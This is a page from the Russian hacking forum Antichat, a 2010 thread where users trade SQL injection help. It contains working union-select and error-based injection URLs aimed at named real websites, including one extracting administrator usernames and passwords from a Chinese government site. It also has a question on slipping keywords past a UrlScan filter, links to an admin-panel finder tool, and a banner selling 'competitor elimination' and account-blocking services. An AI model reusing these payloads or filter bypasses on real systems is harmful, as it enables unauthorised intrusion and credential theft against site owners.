Форум АНТИЧАТ - Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

		Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Ваши вопросы по уязвимостям.

Страница 1230 из 1393

1230

Опции темы

Поиск в этой теме

Опции просмотра

#12291

01.04.2010, 02:29

Pashkela

Динозавр

Регистрация: 10.01.2008

Сообщений: 2,841

Провел на форуме:
9220514

Репутация: 3338

Отправить сообщение для Pashkela с помощью ICQ

Цитата:

Pashkela а как ты узнал о существовании таблицы pics_db, брут?

нет:

Код:

http://www.4ips.biz/products.php?id=71+or+1=1+union+select+1,2,3,4+limit+0,1

to use near 'ORDER BY pics_db.pics_id DESC'

а названия столбцов только брутить (как и остальных таблиц), кроме столбца pics_id:

Код:

http://www.4ips.biz/products.php?id=(select+1+from+(select+count(0),concat((select+pics_id+from+pics_db+limit+0,1),floor(rand(0)*2))+from+pics_db+group+by+2+limit+0,1)a)

#12292

01.04.2010, 02:30

Strilo4ka

Reservists Of Antichat - Level 6

Регистрация: 05.04.2009

Сообщений: 231

Провел на форуме:
3363660

Репутация: 1148

Цитата:

Сообщение от Darren

Pashkela а как ты узнал о существовании таблицы pics_db, брут?

Можна не знать названия таблицы и какую нить ин-ию вытащить ис переменных и функций!

Код:

_http://www.4ips.biz/products.php?id=(select+1+from+(select+count(0),concat((select+version()),floor(rand(0)*2))+from+(select+1+union+select+2+union+select+3)x+group+by+2+limit+1)a)

Есть admin_db, но там скорее одна запись || пустая -> ошибку не выплевывает!
Вот еще путь выдрал, если надо!

Код HTML:

Unable to save result set in /hsphere/local/home/sitang/4ips.biz/products.php on line 57

Последний раз редактировалось Strilo4ka; 01.04.2010 в 03:23..

#12293

01.04.2010, 03:21

[Feldmarschall]

Участник форума

Регистрация: 06.01.2010

Сообщений: 136

Провел на форуме:
568388

Репутация: 87

у мну вот такая проблема.. есть уязвимость MSSQL..

Цитата:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark after the character string ''.
/products.asp, line 22

и стоит защита типа на SELECT,VERSION,TABLE идт..
с SELECT все испробовал идет тока ('sel'+'ect')
как дальше я хД
всевремя перекидует на www.site.ru/Rejected-By-UrlScan/?~/products.asp?cat=select

з.ы (('sel'+'ect')+top+1+???+FROM+INFORMATION _SCHEMA.????)

#12294

01.04.2010, 13:23

$n@ke

Постоянный

Регистрация: 18.09.2006

Сообщений: 867

Провел на форуме:
2805813

Репутация: 1396

2 попугай

Цитата:

attrib /?

#12295

01.04.2010, 13:35

попугай

Познавший АНТИЧАТ

Регистрация: 15.01.2008

Сообщений: 1,166

Провел на форуме:
2459557

Репутация: 606

Цитата:

Сообщение от $n@ke

2 попугай

используют это http://www.codenet.ru/webmast/iis/htm/core/iiacnsc.php#NTFSpermissions

#12296

01.04.2010, 17:44

mr.celt

Участник форума

Регистрация: 06.02.2008

Сообщений: 110

Провел на форуме:
217423

Репутация: 32

Есть такая скуль
__http://www.ykjw.gov.cn/newsinfo.php?id=-214+union+select+1,group_concat(concat(uid,0x3a,pw d)),3,4,5,6+from+administrator

никак не могу админку найти
доступ к mysql.user закрыт и file_priv=NO
как тут можно выкрутиться?

#12297

01.04.2010, 19:15

b82a

Участник форума

Регистрация: 07.02.2010

Сообщений: 111

Провел на форуме:
619439

Репутация: 127

Отправить сообщение для b82a с помощью ICQ

Блин, подскажите директории где обычно бывают админки или как её вообще найти. Robots.txt нету, структуру сайта сканил - ничего, визуально тоже нет такого, самые простые URLы подставлял (/admin,/admin.php и т.д.) - ничего.

Заранее спасибо

#12298

01.04.2010, 19:27

Konqi

Постоянный

Регистрация: 24.06.2009

Сообщений: 542

Провел на форуме:
2101094

Репутация: 672

Отправить сообщение для Konqi с помощью ICQ

Цитата:

Сообщение от b82a

http://rapidshare.com/files/273513716/adminfinder.rar.html

#12299

01.04.2010, 19:30

Konqi

Постоянный

Регистрация: 24.06.2009

Сообщений: 542

Провел на форуме:
2101094

Репутация: 672

link was dead!

try this one

http://uploading.com/files/KCDVDDST/adminfinder.rar.html

#12300

01.04.2010, 20:14

b82a

Участник форума

Регистрация: 07.02.2010

Сообщений: 111

Провел на форуме:
619439

Репутация: 127

Цитата:

Сообщение от Konqi

link was dead!

try this one

http://uploading.com/files/KCDVDDST/adminfinder.rar.html

Yes, thanks, good program, but dont help me with my site...

Страница 1230 из 1393

1230

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Форумы	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход